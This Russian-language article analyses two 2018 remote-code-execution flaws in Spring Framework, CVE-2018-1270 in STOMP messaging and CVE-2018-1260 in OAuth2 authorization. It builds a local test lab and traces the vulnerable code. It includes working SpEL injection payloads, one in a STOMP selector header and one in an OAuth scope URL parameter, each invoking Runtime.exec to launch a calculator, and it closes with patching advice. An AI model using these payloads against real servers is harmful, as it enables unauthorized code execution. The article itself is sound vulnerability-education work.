Как работают две критические уязвимости в Spring Framework
https://t.me/CyberLifesSpring — это популярнейший фреймворк для разработки на Java, на нем базируются сотни решений в самых разных областях. Тут и всевозможные веб-сайты, и энтерпрайз-сервисы, и много другого. Трудно найти серьезное приложение на Java, которое бы не использовало Spring. Недавно в нем были найдены две критические уязвимости, которые приводят к удаленному исполнению кода. Давай посмотрим, как они работают.
Первая уязвимость (CVE-2018-1270) касается модуля для работы с веб-сокетами, вторая (CVE-2018-1260) — модуля авторизации по протоколу OAuth2. Но прежде чем разбирать их, подготовим стенд для тестирования.
Стенд
Снова мои любимые стенды для Java, да еще и с модулями фреймворка, о чем еще можно мечтать?
В работе нам понадобятся:
- любая операционка;
- Docker;
- Java 8;
- Maven или другая Ant-подобная тулза для билда;
- в идеале какая-нибудь IDE, но и обычный текстовый редактор сойдет.
Как ты уже понял, для каждой уязвимости нужно будет скачивать, компилировать и запускать приложения, написанные на Java. Компиляция и запуск в общем случае будут сводиться к паре команд.
$ mvn package $ java -jar target\package.jar
Если воспользуешься IDE, то процесс будет более наглядным. Я для своей работы возьму IntelliJ IDEA. Все остальные манипуляции рассмотрим по ходу разбора уязвимостей. Погнали!
RCE в модуле spring-messaging (CVE-2018-1270)
Первый баг в списке — это удаленное выполнение команд в модуле spring-messaging, который входит в стандартную поставку Spring Framework. Уязвимость, найденная 5 апреля, получила идентификатор CVE-2018-1270 и имеет статус критической. Она затрагивает все версии фреймворка из веток 4 и 5, вплоть до актуальных 4.3.14 и 5.0.4. Проблема заключается в некорректной логике обработки STOMP-сообщений (Simple/Streaming Text Oriented Message Protocol) и легко эксплуатируется удаленно.
STOMP — это специально спроектированный протокол обмена сообщениями. Он прост и основан на фреймах, подобно HTTP. Фрейм состоит из команды, необязательных заголовков и необязательного тела. Благодаря своей простоте STOMP может быть реализован поверх большого количества других протоколов, таких как RabbitMQ, ActiveMQ и других. Также можно успешно организовать работу поверх WebSockets. Именно этот способ нам интересен в рамках уязвимости, так как проблема находится в модуле spring-messaging, в реализации протокола STOMP.
Для тестирования уязвимости нам потребуется скачать примеры использования STOMP из репозитория https://github.com/spring-guides/gs-messaging-stomp-websocket. Подойдет любой коммит до 5 апреля.
$ git clone https://github.com/spring-guides/gs-messaging-stomp-websocket $ cd gs-messaging-stomp-websocket $ git checkout 6958af0b02bf05282673826b73cd7a85e84c12d3
Теперь заглянем в папку, где хранится фронтенд. Нас интересует файл app.js
, а в нем — функция, которая отвечает за подключение клиента к серверу. Для этих целей здесь используется библиотека SockJS.
/gs-messaging-stomp-websocket/complete/src/main/resources/static/app.js
15: function connect() { 16: var socket = new SockJS('/gs-guide-websocket'); 17: stompClient = Stomp.over(socket); 18: stompClient.connect({}, function (frame) { 19: setConnected(true); 20: console.log('Connected: ' + frame); 21: stompClient.subscribe('/topic/greetings', function (greeting) { 22: showGreeting(JSON.parse(greeting.body).content); 23: }); 24: }); 25: }
Нам нужно добавить переменную с пейлоадом, которая будет отправляться в качестве заголовка selector
при создании подключения. Для облегчения эксплуатации можно сделать это до компиляции.
15: function connect() { 16: var header = {"selector":"T(java.lang.Runtime).getRuntime().exec('calc.exe')"}; 17: var socket = new SockJS('/gs-guide-websocket'); 18: stompClient = Stomp.over(socket); 19: stompClient.connect({}, function (frame) { 20: setConnected(true); 21: console.log('Connected: ' + frame); 22: stompClient.subscribe('/topic/greetings', function (greeting) { 23: showGreeting(JSON.parse(greeting.body).content); 24: }, header); 25: }); 26: }
После этого можно откомпилировать и запустить приложение.
$ cd complete $ mvn package $ java -jar target/gs-messaging-stomp-websocket-0.1.0.jar
Согласно спецификации протокола STOMP переданные в хидере selector
данные будут использоваться для фильтрации информации о подписках.
В файле DefaultSubscriptionRegistry.java
имеется функция, которая отрабатывает при создании нового подключения, где генерируется новая подписка на события для этого клиента.
/org/springframework/messaging/simp/broker/DefaultSubscriptionRegistry.java
139: @Override 140: protected void addSubscriptionInternal( 141: String sessionId, String subsId, String destination, Message<?> message) { 142: 143: Expression expression = null; 144: MessageHeaders headers = message.getHeaders(); 145: String selector = SimpMessageHeaderAccessor.getFirstNativeHeader(getSelectorHeaderName(), headers); ... 160: this.subscriptionRegistry.addSubscription(sessionId, subsId, destination, expression); 161: this.destinationCache.updateAfterNewSubscription(destination, sessionId, subsId);
А если встречается хидер selector
, то его содержимое интерпретируется как выражение на языке SpEL (Spring Expression Language). За его обработку отвечает функция doParseExpression
класса SpelExpression
.
/org/springframework/expression/spel/standard/InternalSpelExpressionParser.java
121: @Override 122: protected SpelExpression doParseExpression(String expressionString, @Nullable ParserContext context) 123: throws ParseException { 124: 125: try { 126: this.expressionString = expressionString; 127: Tokenizer tokenizer = new Tokenizer(expressionString); 128: this.tokenStream = tokenizer.process(); 129: this.tokenStreamLength = this.tokenStream.size(); 130: this.tokenStreamPointer = 0; 131: this.constructedNodes.clear(); 132: SpelNodeImpl ast = eatExpression(); 133: Assert.state(ast != null, "No node");
Здесь есть возможность вызова конструктора java.lang.Class
при помощи модификатора T
.
Это значит, что мы довольно просто можем создать экземпляр объекта java.lang.Runtime
и выполнить произвольную команду при помощи метода exec
.
Теперь, после того как селектор привязан к сообщениям, на которые подписан пользователь, можно продолжать общение с сервером, чтобы начать получать эти самые сообщения. Для этого в примере предусмотрен стандартный Hello, %username%
.
Когда гость отправит имя с помощью соответствующей формы, сервер должен его поприветствовать. То есть он должен выслать ответ всем пользователям, которые подписаны на это событие. Этим занимается функция sendMessageToSubscribers
, в которой выполняется метод findSubscriptions
. Он находит всех адресатов, которые были подписаны на сообщения этого типа.
/org/springframework/messaging/simp/broker/SimpleBrokerMessageHandler.java
349: protected void sendMessageToSubscribers(@Nullable String destination, Message<?> message) { 350: MultiValueMap<String,String> subscriptions = this.subscriptionRegistry.findSubscriptions(message); 351: if (!subscriptions.isEmpty() && logger.isDebugEnabled()) { 352: logger.debug("Broadcasting to " + subscriptions.size() + " sessions."); 353: }
Далее попадаем в метод findSubscriptionsInternal
. Внутри него происходит вызов filterSubscriptions
.
/org/springframework/messaging/simp/broker/DefaultSubscriptionRegistry.java
183: @Override 184: protected MultiValueMap<String, String> findSubscriptionsInternal(String destination, Message<?> message) { 185: MultiValueMap<String, String> result = this.destinationCache.getSubscriptions(destination, message); 186: return filterSubscriptions(result, message); 187: } 188: 189: private MultiValueMap<String, String> filterSubscriptions( 190: MultiValueMap<String, String> allMatches, Message<?> message) { 191: ... 207: Expression expression = sub.getSelectorExpression();
Этот метод выполняет выборку всех переданных ранее правил, чтобы затем на их основе выполнить фильтрацию сообщения. Тут же, разумеется, находится и наш экспрешн.
Дальше за дело берется обработчик выражений SpEL, вызывается метод getValueInternal
. В него передается контекст, в котором будет выполняться наше выражение, и его атрибуты.
/org/springframework/expression/spel/ast/MethodReference.java
84: @Override 85: public TypedValue getValueInternal(ExpressionState state) throws EvaluationException { 86: EvaluationContext evaluationContext = state.getEvaluationContext(); 87: Object value = state.getActiveContextObject().getValue(); 88: TypeDescriptor targetType = state.getActiveContextObject().getTypeDescriptor(); 89: Object[] arguments = getArguments(state); 90: TypedValue result = getValueInternal(evaluationContext, value, targetType, arguments); 91: updateExitTypeDescriptor(); 92: return result; 93: }
Так как мы используем экземпляр класса java.lang.Runtime
, именно он и будет вызван через обертку MethodExecutor.
/org/springframework/expression/spel/ast/MethodReference.java
095: private TypedValue getValueInternal(EvaluationContext evaluationContext, 096: @Nullable Object value, @Nullable TypeDescriptor targetType, Object[] arguments) { ... 104: MethodExecutor executorToUse = getCachedExecutor(evaluationContext, value, targetType, argumentTypes); 105: if (executorToUse != null) { 106: try { 107: return executorToUse.execute(evaluationContext, value, arguments);
Затем вызывается метод execute
, и мы наблюдаем открывшееся окошко калькулятора.
/org/springframework/expression/spel/support/ReflectiveMethodExecutor.java
110: @Override 111: public TypedValue execute(EvaluationContext context, Object target, Object... arguments) throws AccessException { 112: try { 113: this.argumentConversionOccurred = ReflectionHelper.convertArguments( 114: context.getTypeConverter(), arguments, this.method, this.varargsPosition); 115: if (this.method.isVarArgs()) { 116: arguments = ReflectionHelper.setupArgumentsForVarargsInvocation( 117: this.method.getParameterTypes(), arguments); 118: } 119: ReflectionUtils.makeAccessible(this.method); 120: Object value = this.method.invoke(target, arguments); 121: return new TypedValue(value, new TypeDescriptor(new MethodParameter(this.method, -1)).narrow(value));
С этим багом, пожалуй, все. Переходим к следующему.
RCE в модуле OAuth-авторизации spring-security-oauth2 (CVE-2018-1260)
Думаю, никому не нужно объяснять, что за зверь такой протокол авторизации OAuth. В интернете куча статей, которые сделают это на порядок лучше и подробнее, чем я. Так что сразу перейдем к конкретной реализации OAuth во фреймворке Spring. Для этих целей имеется модуль spring-security-oauth2
.
Рассматриваемая уязвимость затрагивает следующие его версии:
- 2.3 до 2.3.3;
- 2.2 до 2.2.2;
- 2.1 до 2.1.2;
- 2.0 до 2.0.15.
Атакующий при помощи специально сформированного запроса к точке авторизации может заставить систему выполнить произвольный код после успешного входа и перенаправления на точку его подтверждения. Для успешной эксплуатации уязвимое приложение должно соответствовать некоторым требованиям:
- работать в роли сервера авторизации (например, @EnableAuthorizationServer);
- не иметь ограничения области видимости (по дефолту именно так);
- использовать дефолтную точку подтверждения авторизованных пользователей.
Давай создадим эти условия. Для тестовых целей позаимствуем у наших китайских коллег пример приложения, которое использует авторизацию по протоколу OAuth2.
$ git clone https://github.com/wanghongfei/spring-security-oauth2-example.git
Теперь нужно настроить авторизацию. Для этого заглянем в метод configure
из файла OAuthSecurityConfig.java
и раскомментируем строки, чтобы получилось следующее.
/src/main/java/cn/com/sina/alan/oauth/config/OAuthSecurityConfig.java
67: @Override 68: public void configure(ClientDetailsServiceConfigurer clients) throws Exception { 69: // clients.withClientDetails(clientDetails()); 70: clients.inMemory() 71: .withClient("client") 72: .authorizedGrantTypes("authorization_code") 73: .scopes(); 74: }
Затем нужно создать структуру таблиц в базе данных MySQL согласно представленной на странице репозитория схеме и указать наши данные для подключения к серверу в файле application.properties
. В качестве сервера MySQL я подниму контейнер Docker.
$ docker run -p3306:3306 -e MYSQL_USER="oauth" -e MYSQL_PASSWORD="TPH9YQ8lJV" -e MYSQL_DATABASE="alan-oauth" -d --rm --name=mysql --hostname=mysql mysql/mysql-server $ docker exec -ti mysql /bin/bash $ mysql -u oauth -D "alan-oauth" --password="TPH9YQ8lJV"
/src/main/resources/application.properties
07: spring.datasource.url=jdbc:mysql://192.168.99.100:3306/alan-oauth?characterEncoding=UTF-8 08: spring.datasource.username=oauth 09: spring.datasource.password=TPH9YQ8lJV 10: spring.datasource.driver-class-name=com.mysql.jdbc.Driver
После этого запускаем скомпилированное приложение и видим форму авторизации.
Давай сразу к эксплоиту. Переходим по адресу
http://127.0.0.1:8080/oauth/authorize?client_id=client&response_type=code&redirect_uri=http://www.github.com/&scope=%24%7BT%28java.lang.Runtime%29.getRuntime%28%29.exec%28%22calc.exe%22%29%7D
Нас снова перебросит на форму авторизации, в которой можно указать любой логин и пароль. Нажимаем «Войти» и наблюдаем запущенный калькулятор.
Что же это за волшебная ссылка? Обрати внимание на ее параметры. redirect_uri
указывает на сервис, с помощью которого мы якобы будем авторизовываться, а вот параметр области видимости (scope
) содержит любопытную строку:
${T(java.lang.Runtime).getRuntime().exec("calc.exe")}
Так-так. Ничего не напоминает? Это то же самое выражение на языке Spring Expression Language (SpEL), что мы использовали при эксплуатации предыдущей уязвимости.
Когда ты переходишь по ссылке, в текущей сессии сохраняются переданные настройки для дальнейшей авторизации. После нажатия кнопки Login отрабатывает метод authorize
.
/org/springframework/security/oauth2/provider/endpoint/AuthorizationEndpoint.java
116: @RequestMapping(value = "/oauth/authorize") 117: public ModelAndView authorize(Map<String, Object> model, @RequestParam Map<String, String> parameters, 118: SessionStatus sessionStatus, Principal principal) { ... 123: AuthorizationRequest authorizationRequest = getOAuth2RequestFactory().createAuthorizationRequest(parameters);
Этот метод формирует запрос на сервер авторизации для получения ключа текущего пользователя. Данные, которые мы указали, передаются в переменной parameters
.
В результате будет создан экземпляр класса AuthorizationRequest
. Дальше по коду начинается проверка его атрибута scope
при помощи validateScope
.
/org/springframework/security/oauth2/provider/endpoint/AuthorizationEndpoint.java
135: try { 136: 137: if (!(principal instanceof Authentication) || !((Authentication) principal).isAuthenticated()) { 138: throw new InsufficientAuthenticationException( 139: "User must be authenticated with Spring Security before authorization can be completed."); 140: } ... 156: oauth2RequestValidator.validateScope(authorizationRequest, client);
/org/springframework/security/oauth2/provider/request/DefaultOAuth2RequestValidator.java
17: public class DefaultOAuth2RequestValidator implements OAuth2RequestValidator { 18: 19: public void validateScope(AuthorizationRequest authorizationRequest, ClientDetails client) throws InvalidScopeException { 20: validateScope(authorizationRequest.getScope(), client.getScope()); 21: }
/org/springframework/security/oauth2/provider/request/DefaultOAuth2RequestValidator.java
27: private void validateScope(Set<String> requestScopes, Set<String> clientScopes) {
Тут происходит сравнение данных, переданных в scope
, с указанной областью видимости по умолчанию в настройках в самом начале. Так как мы не передали никакие параметры в метод scopes()
, то клиенту разрешено использовать любой. Официальная документация сообщает нам, что такое поведение используется по умолчанию.
Если же области видимости не совпадают с указанной, то приложение возвращает исключение.
/org/springframework/security/oauth2/provider/request/DefaultOAuth2RequestValidator.java
29: if (clientScopes != null && !clientScopes.isEmpty()) { 30: for (String scope : requestScopes) { 31: if (!clientScopes.contains(scope)) { 32: throw new InvalidScopeException("Invalid scope: " + scope, clientScopes); 33: } 34: } 35: }
Исключение также приведет к отсутствию переданного параметра scope
в запросе.
/org/springframework/security/oauth2/provider/request/DefaultOAuth2RequestValidator.java
37: if (requestScopes.isEmpty()) { 38: throw new InvalidScopeException("Empty scope (either the client or the user is not allowed the requested scopes)"); 39: } 40: }
Если все проверки прошли успешно, то приложение переходит к фазе непосредственной авторизации.
/org/springframework/security/oauth2/provider/endpoint/AuthorizationEndpoint.java
180: model.put("authorizationRequest", authorizationRequest); 181: 182: return getUserApprovalPageResponse(model, authorizationRequest, (Authentication) principal);
Согласно переданным данным метод getUserApprovalPageResponse
перенаправляет наш вызов на страницу подтверждения доступа /oauth/confirm_access
.
AuthorizationEndpoint.java
242: private ModelAndView getUserApprovalPageResponse(Map<String, Object> model, 243: AuthorizationRequest authorizationRequest, Authentication principal) { 244: logger.debug("Loading user approval page: " + userApprovalPage); 245: model.putAll(userApprovalHandler.getUserApprovalRequest(authorizationRequest, principal)); 246: return new ModelAndView(userApprovalPage, model); 247: }
В итоге выполнение передается в метод getAccessConfirmation
класса WhitelabelApprovalEndpoint
.
/org/springframework/security/oauth2/provider/endpoint/WhitelabelApprovalEndpoint.java
17: @SessionAttributes("authorizationRequest") 18: public class WhitelabelApprovalEndpoint { 19: 20: @RequestMapping("/oauth/confirm_access") 21: public ModelAndView getAccessConfirmation(Map<String, Object> model, HttpServletRequest request) throws Exception { 22: String template = createTemplate(model, request);
Разумеется, перед выводом страницы пользователю ее нужно создать. Этим и занимается createTemplate
. В аргументе model
находится сформированный нами ранее запрос на авторизацию.
/org/springframework/security/oauth2/provider/endpoint/WhitelabelApprovalEndpoint.java
29: protected String createTemplate(Map<String, Object> model, HttpServletRequest request) { 30: String template = TEMPLATE;
Константа TEMPLATE
содержит в себе исходный код страницы с разными плейсхолдерами, которые в дальнейшем будут заменены на актуальные для текущего юзера данные.
<html><body><h1>OAuth Approval</h1><p>Do you authorize '${authorizationRequest.clientId}' to access your protected resources?</p><form id='confirmationForm' name='confirmationForm' action='${path}/oauth/authorize' method='post'><input name='user_oauth_approval' value='true' type='hidden'/>%csrf%%scopes%<label><input name='authorize' value='Authorize' type='submit'/></label></form>%denial%</body></html>
Обрати внимание на %scopes%
. Информация о переданной области видимости отображается на странице.
/org/springframework/security/oauth2/provider/endpoint/WhitelabelApprovalEndpoint.java
31: if (model.containsKey("scopes") || request.getAttribute("scopes") != null) { 32: template = template.replace("%scopes%", createScopes(model, request)).replace("%denial%", ""); 33: } 34: else { 35: template = template.replace("%scopes%", "").replace("%denial%", DENIAL); 36: } ... 43: return template; 44: }
После всех манипуляций сформированный template
выглядит следующим образом:
<html><body><h1>OAuth Approval</h1><p>Do you authorize '${authorizationRequest.clientId}' to access your protected resources?</p><form id='confirmationForm' name='confirmationForm' action='${path}/oauth/authorize' method='post'><input name='user_oauth_approval' value='true' type='hidden'/><input type='hidden' name='${_csrf.parameterName}' value='${_csrf.token}' /><ul><li><div class='form-group'>scope.${T(java.lang.Runtime).getRuntime().exec("calc.exe")}: <input type='radio' name='scope.${T(java.lang.Runtime).getRuntime().exec("calc.exe")}' value='true'>Approve</input> <input type='radio' name='scope.${T(java.lang.Runtime).getRuntime().exec("calc.exe")}' value='false' checked>Deny</input></div></li></ul><label><input name='authorize' value='Authorize' type='submit'/></label></form></body></html>
Следим за приключениями нашей строки. Теперь она приземлилась здесь:
scope.${T(java.lang.Runtime).getRuntime().exec("calc.exe")}
А дальше подготовленный шаблон передается в SpelView
.
/org/springframework/security/oauth2/provider/endpoint/WhitelabelApprovalEndpoint.java
26: return new ModelAndView(new SpelView(template), model);
Таким образом, весь шаблон интерпретируется как выражение SpEL. Как ты уже знаешь, он разрешает использовать конструкции с оператором T для вызова экземпляров java.lang.Class
. Этим прекрасным фактом в очередной раз и воспользуемся — для выполнения кода через метод exec
класса java.lang.Runtime
. Ну а дальше все по накатанной: наш пейлоад парсится с помощью parseExpression
и в итоге запускается калькулятор.
SpelView.java
48: public SpelView(String template) { 49: this.template = template; 50: this.prefix = new RandomValueStringGenerator().generate() + "{"; 51: this.context.addPropertyAccessor(new MapAccessor()); 52: this.resolver = new PlaceholderResolver() { 53: public String resolvePlaceholder(String name) { 54: Expression expression = parser.parseExpression(name);
Выводы
Это далеко не все уязвимости, которые были за последнее время найдены в Spring 2. Например, советую обратить внимание на XXE-уязвимость в XMLBeam и проблему обработки ZIP-архивов в модуле spring-integration-zip
, которая позволяет выйти из директории при распаковке специально сформированных архивов.
Похоже, исследователи серьезно взялись за фреймворк: за последние несколько месяцев в его недрах найдено много серьезных проблем. Так как речь идет о приложениях, написанных на Java, дело может осложнять и жесткая привязка к конкретным версиям модулей.
Экосистема Java известна тем, что при работе с ней нередко возникают вопросы о частичной несовместимости старого кода с обновленными компонентами. Мне постоянно встречаются допотопные версии приложений, написанные именно на Java.
В общем, если у тебя где-то стоят приложения, написанные с использованием Spring 2, не зевай и своевременно обновляй их (по возможности) или накатывай секьюрити-патчи на существующие части своей инфраструктуры.